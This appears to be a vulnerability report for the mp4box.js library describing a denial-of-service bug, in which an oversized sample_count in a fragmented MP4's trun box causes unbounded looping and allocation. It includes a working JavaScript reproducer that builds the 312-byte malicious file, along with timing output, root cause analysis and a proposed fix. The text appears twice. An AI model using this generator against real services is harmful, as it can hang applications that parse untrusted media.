Summary
A fragmented MP4 with a compact trun (no per-sample fields, flags=0) and a large sample_count causes updateSampleLists() to loop sample_count times and push one full sample object per iteration to trak.samples. A 312-byte file with sample_count=1000000 takes ~200ms and allocates a million objects. With sample_count=100000000 the process hangs indefinitely. Any browser or Node.js application that parses untrusted fragmented MP4 data with mp4box.js is affected.
Environment
- Platform: Linux x86_64, Ubuntu 24.04
- Runtime: Node.js v18.19.1
- Source version tested: current
main at f5e0da0fe969cddd53b692b9012d43e2d45a2244
- Reproduction: direct API-level reproducer against a built
dist/mp4box.all.js
Minimal Reproducer
Save as repro.mjs (requires npm ci && npm run build first):
import { createFile } from './dist/mp4box.all.js';
function u32(v) { return [(v>>>24)&0xff,(v>>>16)&0xff,(v>>>8)&0xff,v&0xff]; }
function ascii(s) { return Array.from(s, c => c.charCodeAt(0)); }
function box(type, payload) { return Uint8Array.from([...u32(payload.length+8),...ascii(type),...payload]); }
function concat(...a) { const o=new Uint8Array(a.reduce((n,x)=>n+x.length,0)); let p=0; for(const x of a){o.set(x,p);p+=x.length;} return o; }
function fullbox(ver, flags, payload) { return Uint8Array.from([ver,(flags>>>16)&0xff,(flags>>>8)&0xff,flags&0xff,...payload]); }
const sampleCount = Number(process.argv[2] ?? 1);
const trackId = 1;
const ftyp = box('ftyp', Uint8Array.from([...ascii('isom'),...u32(0),...ascii('isom')]));
const mdhd = box('mdhd', fullbox(0,0,Uint8Array.from([...u32(0),...u32(0),...u32(1000),...u32(0),0x55,0xc4,0,0])));
const stbl = box('stbl', box('stsd', fullbox(0,0,Uint8Array.from(u32(0)))));
const minf = box('minf', stbl);
const mdia = box('mdia', concat(mdhd, minf));
const tkhd = box('tkhd', fullbox(0,3,Uint8Array.from([...u32(0),...u32(0),...u32(trackId),...u32(0),...u32(0),...u32(0),...u32(0),0,0,0,0,0,0,0,0,...[0x00010000,0,0,0,0x00010000,0,0,0,0x40000000].flatMap(x=>u32(x>>>0)),...u32(0),...u32(0)])));
const trak = box('trak', concat(tkhd, mdia));
const trex = box('trex', fullbox(0,0,Uint8Array.from([...u32(trackId),...u32(1),...u32(1),...u32(1),...u32(0)])));
const mvex = box('mvex', trex);
const moov = box('moov', concat(trak, mvex));
const tfhd = box('tfhd', fullbox(0,0,Uint8Array.from(u32(trackId))));
const tfdt = box('tfdt', fullbox(0,0,Uint8Array.from(u32(0))));
const trun = box('trun', fullbox(0,0,Uint8Array.from(u32(sampleCount))));
const traf = box('traf', concat(tfhd, tfdt, trun));
const moof = box('moof', traf);
const mdat = box('mdat', Uint8Array.from([]));
const data = concat(ftyp, moov, moof, mdat);
const ab = data.buffer.slice(data.byteOffset, data.byteOffset + data.byteLength);
ab.fileStart = 0;
const mp4 = createFile();
const start = performance.now();
mp4.appendBuffer(ab);
mp4.flush();
const ms = (performance.now() - start).toFixed(1);
const samples = mp4.moov?.traks?.[0]?.samples?.length ?? 0;
console.log(`sample_count=${sampleCount} fileBytes=${data.length} materializedSamples=${samples} elapsed=${ms}ms`);
Run:
$ node repro.mjs 1
sample_count=1 fileBytes=312 materializedSamples=1 elapsed=3.4ms
$ node repro.mjs 1000000
sample_count=1000000 fileBytes=312 materializedSamples=1000000 elapsed=205.8ms
$ timeout 3s node repro.mjs 100000000
(killed after 3s -- exit 124)
The file is always 312 bytes. The only field that changes is the 4-byte sample_count in the trun box.
Root Cause
The trun parser at src/boxes/trun.ts:46 correctly skips the per-sample table loop when no box payload remains (compact trun with default-sample inheritance from trex). But updateSampleLists() at src/isofile.ts:1738 later iterates to trun.sample_count unconditionally:
for (let k = 0; k < trun.sample_count; k++) {
...
const sample: Sample = { ... };
trak.samples.push(sample);
}
There is no check that sample_count is plausible for the available mdat payload or any resource bound. The count is a raw 32-bit integer from the box header, so a theoretical maximum of ~4 billion iterations is reachable from a tiny input.
Proposed Fix
Check sample_count against available mdat payload before the loop, or cap materialization with a configurable budget.
Verification
Confirmed on main HEAD f5e0da0. The negative control (sample_count=1) returns in ~3ms with 1 sample materialized, isolating the issue to the unchecked loop bound.
Summary
A fragmented MP4 with a compact
trun(no per-sample fields,flags=0) and a largesample_countcausesupdateSampleLists()to loopsample_counttimes and push one full sample object per iteration totrak.samples. A 312-byte file withsample_count=1000000takes ~200ms and allocates a million objects. Withsample_count=100000000the process hangs indefinitely. Any browser or Node.js application that parses untrusted fragmented MP4 data with mp4box.js is affected.Environment
mainatf5e0da0fe969cddd53b692b9012d43e2d45a2244dist/mp4box.all.jsMinimal Reproducer
Save as
repro.mjs(requiresnpm ci && npm run buildfirst):Run:
The file is always 312 bytes. The only field that changes is the 4-byte
sample_countin thetrunbox.Root Cause
The
trunparser atsrc/boxes/trun.ts:46correctly skips the per-sample table loop when no box payload remains (compact trun with default-sample inheritance fromtrex). ButupdateSampleLists()atsrc/isofile.ts:1738later iterates totrun.sample_countunconditionally:There is no check that
sample_countis plausible for the availablemdatpayload or any resource bound. The count is a raw 32-bit integer from the box header, so a theoretical maximum of ~4 billion iterations is reachable from a tiny input.Proposed Fix
Check
sample_countagainst availablemdatpayload before the loop, or cap materialization with a configurable budget.Verification
Confirmed on main HEAD
f5e0da0. The negative control (sample_count=1) returns in ~3ms with 1 sample materialized, isolating the issue to the unchecked loop bound.